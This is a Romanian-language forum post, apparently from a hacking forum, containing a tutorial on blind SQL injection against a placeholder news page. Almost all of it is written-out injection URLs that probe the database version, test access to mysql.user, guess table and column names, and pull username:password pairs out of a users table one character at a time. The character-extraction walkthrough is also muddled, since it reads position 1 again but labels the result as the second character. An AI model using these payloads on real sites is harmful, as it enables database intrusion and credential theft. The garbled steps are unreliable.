Jump to content
.Slacker

Tutorial Blind SQLi

Recommended Posts

Posted (edited)

Blind SQLi Injection

.Slacker

30 August 2012

Sa luam ca exemplu:

http://www.site.com/news.php?id=5

http://www.site.com/news.php?id=5 and 1=1 <= unde 1=1 este adevarat

http://www.site.com/news.php?id=5 and 1=2 <= unde 1=2 este fals

1. MySQL

Pentru blind vom folosii substring.

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

Inlocuim 4 cu 5 daca query-ul este adevarat.

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2. Subselect

Cand nu functioneaza vom folosii subselect.

http://www.site.com/news.php?id=5 and (select 1)=1

Acum vom vedea daca avem acces la mysql.user

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

Daca pagina se incarca in mod normal, avem acces la mysql.user

3. Verificarea numelui tabelelor si coloanelor

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1

(cu limit 0,1 query-ul rezulta un rand de date din cauza subselect-ului. Daca pagina se incarca in mod normal, fara continut lipsa, exista. Daca avem FALSE lipsete un articol schimbam doar numele tabelului pana cand il ghicim.

Sa zicem ca numele tabelului cu utilizatori este users. Acum avem nevoie de numele coloanei.

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

Daca pagina se incarca in mod normal, inseamna ca numele coloanei este Password.

Avem o coloana cu parola.

4. Extragerea datelor din baza de date

Daca am gasit tabelul cu utilizatori si coloana, parola si numele de utilizator, vom extragere caracterele din lista.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

Convertim caracterul 1 in valoare ASCII ( ASCII() )

Vom incerca sa ajungem la FALSE.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

Am ajuns la TRUE si trebuie sa pastram incrementarea.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

Avem TRUE din nou.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

Acum avem FALSE.

Primul caracter din USERNAME este char(99)

Convertim in ASCII:

char(99) este scris 'c'.

Sa verificam al doilea caracter:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Am schimbat ,1,1 in ,2,1 pentru a obtine al doilea caracter.

Acum ne intorcem la caracterul 1:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

Pagina ar trebuii sa se incarce in mod normal deci este TRUE.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

Este fals si reducem numarul:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

Este adevarat si ridicam numarul:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

Fals.

Deci al doilea caracter este char(105) si este 'i', si avem 'ci' in masura atunci ca incrementam pana la sfarsit atunci cand >0 returneaza fals (FALSE) stim ca ajungem la final.

Sper ca am ajutat cu acest tutorial :)

Edited by .Slacker
  • Downvote 1

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...